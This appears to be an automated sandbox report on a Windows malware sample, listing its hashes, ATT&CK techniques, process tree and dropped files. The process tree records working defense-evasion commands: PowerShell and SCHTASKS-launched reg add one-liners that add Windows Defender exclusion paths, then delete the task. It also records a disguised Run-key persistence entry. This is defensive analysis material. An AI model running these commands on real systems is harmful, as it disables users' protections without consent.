bb05b60403c851ab17f538fba64e2511d85e096c2bc56c4f199e3bfdac456b0f

Analysis

max time kernel
150s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 15:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.07.exe
Size 30.5MB
Sample261024-tejt3acw2m
SHA256 bb05b60403c851ab17f538fba64e2511d85e096c2bc56c4f199e3bfdac456b0f
MD5 649a69146faf34393cce48d83c4881c4
SHA1 dc99bc8a5cf2998ee354a6aa63c9833bc49ca22a
SHA512 a1b7dae5dcf5b527bb3aa22a87f44832024cc47855155412508a075c2ae6e78e7a30627e51b1a9361afc5e92eca113f27af8fceffbb76fea570089985d167937
SSDEEP 196608:TZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYY:4C/p+HuPOc4l
TLSH
T19967181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\9Cyrva = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5264	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4328	ZNUA74.exe
5552	ZNUA74.exe

Loads dropped DLL 2 IoCs

pid	Process
4328	ZNUA74.exe
5552	ZNUA74.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\9Cyrva\\ZNUA74.exe\""	ZNUA74.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1532	cmd.exe
1196	cmd.exe
5104	cmd.exe
4996	cmd.exe
2732	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ZNUA74.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3304	cmd.exe
4532	cmd.exe
1432	cmd.exe
3088	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.07.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.07.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ZNUA74.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ZNUA74.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5028	schtasks.exe
4140	schtasks.exe
2096	schtasks.exe
2752	schtasks.exe
1036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
5100	install.2.0.07.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe
4328	ZNUA74.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5264	powershell.exe
Token: SeIncreaseQuotaPrivilege	5264	powershell.exe
Token: SeSecurityPrivilege	5264	powershell.exe
Token: SeTakeOwnershipPrivilege	5264	powershell.exe
Token: SeLoadDriverPrivilege	5264	powershell.exe
Token: SeSystemProfilePrivilege	5264	powershell.exe
Token: SeSystemtimePrivilege	5264	powershell.exe
Token: SeProfSingleProcessPrivilege	5264	powershell.exe
Token: SeIncBasePriorityPrivilege	5264	powershell.exe
Token: SeCreatePagefilePrivilege	5264	powershell.exe
Token: SeBackupPrivilege	5264	powershell.exe
Token: SeRestorePrivilege	5264	powershell.exe
Token: SeShutdownPrivilege	5264	powershell.exe
Token: SeDebugPrivilege	5264	powershell.exe
Token: SeSystemEnvironmentPrivilege	5264	powershell.exe
Token: SeRemoteShutdownPrivilege	5264	powershell.exe
Token: SeUndockPrivilege	5264	powershell.exe
Token: SeManageVolumePrivilege	5264	powershell.exe
Token: 33	5264	powershell.exe
Token: 34	5264	powershell.exe
Token: 35	5264	powershell.exe
Token: 36	5264	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4328 wrote to memory of 5264	4328	ZNUA74.exe	91
PID 4328 wrote to memory of 2732	4328	ZNUA74.exe	93
PID 2732 wrote to memory of 2752	2732	cmd.exe	95
PID 2732 wrote to memory of 5868	2732	cmd.exe	96
PID 2732 wrote to memory of 3748	2732	cmd.exe	98
PID 4328 wrote to memory of 1532	4328	ZNUA74.exe	101
PID 1532 wrote to memory of 1036	1532	cmd.exe	105
PID 1532 wrote to memory of 1284	1532	cmd.exe	106
PID 4328 wrote to memory of 1196	4328	ZNUA74.exe	108
PID 1532 wrote to memory of 5388	1532	cmd.exe	110
PID 4328 wrote to memory of 5104	4328	ZNUA74.exe	111
PID 1196 wrote to memory of 5028	1196	cmd.exe	113
PID 5104 wrote to memory of 4140	5104	cmd.exe	114
PID 1196 wrote to memory of 4688	1196	cmd.exe	115
PID 5104 wrote to memory of 3596	5104	cmd.exe	116
PID 1196 wrote to memory of 3440	1196	cmd.exe	118
PID 5104 wrote to memory of 2876	5104	cmd.exe	119
PID 4328 wrote to memory of 4996	4328	ZNUA74.exe	120
PID 4996 wrote to memory of 2096	4996	cmd.exe	122
PID 4996 wrote to memory of 1132	4996	cmd.exe	123
PID 4996 wrote to memory of 2408	4996	cmd.exe	127
PID 3088 wrote to memory of 5528	3088	cmd.exe	131
PID 1432 wrote to memory of 3692	1432	cmd.exe	132
PID 3304 wrote to memory of 3252	3304	cmd.exe	133
PID 4532 wrote to memory of 1628	4532	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.07.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5100

C:\Users\Public\9Cyrva\ZNUA74.exe
"C:\Users\Public\9Cyrva\ZNUA74.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9Cyrva\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9Cyrva\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5868
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3596
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2096
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2408

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9Cyrva" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9Cyrva" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3252

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5360

C:\Users\Public\9Cyrva\ZNUA74.exe
"C:\Users\Public\9Cyrva\ZNUA74.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5552

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1628

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3692

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 1536b2dc03501b4e6d1b9ea7b2714772fd68095cf038537ebdb7abfd26d72177
MD5 471967270f0025b2e8622092bc02937d
SHA1 0ec1a9602f8d1a9c61e8073ec28ad8c4b9c8e825
SHA512 7f2e69d198576f591cebff94c74787da6dec133255187ff91acc3fa3c50aa1899ea3bffdf1cff85717fcdcca54461c05da69da72360666958e60c69a1ba44074
TLSH
T1DC3177BF5F6975868F394E4115CDB2226DE5D1806CDF509A6111C8549F043616F8A908
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
MD5 16b768681a89a0a2da1365ff7d2f3d0a
SHA1 6e995c36f45c228538e70da8c8476a724c3bd328
SHA512 c1e1f4a2edc2e35fd119e93e517d7a89388440e5af067dbca3ac6a19c87a86976ea80b94051aa7a04cee50cc46c680a383858b0869b72a11e3e6bd5d5dfd6865
TLSH
T1F031F8A39E795053EB0C2FA966D1C6373CF0B674ADE44845763EC2AF8605B77AF85008
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 638856d464ab69f21ca6b99bae3988ea78839e239df7f2f79759419dde526a0e
MD5 3f94aead7e40c20898ae9cdaed4a4a88
SHA1 1f0e5c50e4246852e94919c36ae5052c16c1ed0d
SHA512 e6565def8c5e718711d5296f5c5b86770a7f3511043b228bf61c1941ab12dbaee5aaf5c7caf1d814b1c6758ad1080e9c591198d177d32e47240ba3cf05d92833
TLSH
T15BF09E184EFC412DF132D93CC6C935962D6AFA011506459422F40F096647E423E11175
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 610b87d15c36fe4ee582579e9146c39506a303b20bb556d99a66afb1899fa61b
MD5 3240f45f94f67c18c8516b6b9fd91411
SHA1 75d954953e9ace9b2426b23ead64ff4bdc375e7a
SHA512 e45d2e24dc9a3a9cc8bfac11df88b45750a9154c6c45b07a9a2c09254aee4f75a315b3182e574108c2013bdf8d812b66d800aad2612145edb944a53a487fb318
TLSH
T178F05C3D56EE001BF17BC1B8CBC6BDB35F76EA632006767B09E907445E92C416C813A9
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_pfs3r0x4.ctm.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfs3r0x4.ctm.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\9Cyrva\UxEnhance64.dll
Size 3.1MB
SHA256 7bea21c30beeb59f81738eedaad77bf5245f4a83a424bf91330108819358d620
MD5 dd7486d6f395cc1a3220f43d754f7009
SHA1 a02f61de545282f73239fde28af20e1ec7ba2b73
SHA512 48491dac7c1b228099240cd9284a667b6381cbe4857d98e5defe1d9dff58e2a1274925ddc098228077508448e53bc90f3a6cd6809a531f5c689da2c7292f8f1b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+K:P9m29xx3Tiqt06ox6+z2rNNrKoK
TLSH
T192E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ZNUA74.exe

Path C:\Users\Public\9Cyrva\ZNUA74.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\9Cyrva\adoresd.dat
Size 4.8MB
SHA256 3fc366e9b242f7c2602fec0f4a9eec26893d5713ff099ac04493c60d8fc27390
MD5 32f63674428e30b49037c49e2c28e106
SHA1 0380d3f20f61fd200159903a0d4d56fb79521078
SHA512 abf15bef250c49fcb626fe5ae2f328939997815fbb8f6043b83dbddbffef646a6af00d9da7ba91c948a6efb674511d7a49a340cd8f6754292c7e322ceec74121
SSDEEP 98304:yWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:yWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1053633AB2FC2F55F5583315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\9Cyrva\msadox.tb
Size 8KB
SHA256 f3a314e26ee1a0eef102a67fca2908a868226bcd8860e5c053daeee956f37fbc
MD5 a4cc06ad119270723cb38fc6949039ba
SHA1 fb8470f797bf30e35130c41c86fa5d204d03a442
SHA512 fc22d6834e9d178b0db29a29b399dce8f7a714c46f2d0722ee1ec31835d8a02492d1b923efdf03619c0ab5454ba33e164d1d6e6fd8e96c0c81a89a5188f98a58
SSDEEP 192:UqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:UsZqZOXQ3uqvR2Kfzp
TLSH
T1D5029E05D7B20CC3D2016871C99EA2F5AA13A19ADA3926619C67948167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4328-562-0x000002A5ABDB0000-0x000002A5ABE3A000-memory.dmp

Download

memory/4328-531-0x00007FF8C5CB0000-0x00007FF8C61CE000-memory.dmp

Download

memory/4328-530-0x00007FF8E8070000-0x00007FF8E8072000-memory.dmp

Download

memory/4328-536-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-538-0x00007FF8E8080000-0x00007FF8E8082000-memory.dmp

Download

memory/4328-539-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-544-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-543-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-546-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-545-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-550-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-556-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-559-0x000002A5ABDB0000-0x000002A5ABE3A000-memory.dmp

Download

memory/4328-602-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/4328-561-0x000002A5ABDB0000-0x000002A5ABE3A000-memory.dmp

Download

memory/4328-560-0x000002A5ABDB0000-0x000002A5ABE3A000-memory.dmp

Download

memory/4328-558-0x000002A5ABCD0000-0x000002A5ABD1E000-memory.dmp

Download

memory/4328-567-0x000002A5AB3F0000-0x000002A5ABCC7000-memory.dmp

Download

memory/5100-524-0x0000000003DD0000-0x0000000003DDE000-memory.dmp

Download

memory/5100-504-0x00007FF8DFE00000-0x00007FF8DFE12000-memory.dmp

Download

memory/5100-2-0x0000000003DE0000-0x0000000003DEC000-memory.dmp

Download

memory/5100-525-0x00007FF8DFE00000-0x00007FF8DFE12000-memory.dmp

Download

memory/5100-0-0x0000000003DD0000-0x0000000003DDE000-memory.dmp

Download

memory/5100-1-0x0000000003DD0000-0x0000000003DDE000-memory.dmp

Download

memory/5264-598-0x0000022BF2390000-0x0000022BF23B2000-memory.dmp

Download

memory/5264-607-0x0000022BF23D0000-0x0000022BF23DA000-memory.dmp

Download

memory/5264-606-0x0000022BF2400000-0x0000022BF24B2000-memory.dmp

Download

memory/5264-605-0x0000022BF23E0000-0x0000022BF23FE000-memory.dmp

Download

memory/5552-580-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

memory/5552-588-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

memory/5552-582-0x00007FF8E8080000-0x00007FF8E8082000-memory.dmp

Download

memory/5552-589-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

memory/5552-591-0x00007FF8E8070000-0x00007FF8E8072000-memory.dmp

Download

memory/5552-590-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

memory/5552-587-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

memory/5552-583-0x0000024A0F5A0000-0x0000024A0FE77000-memory.dmp

Download

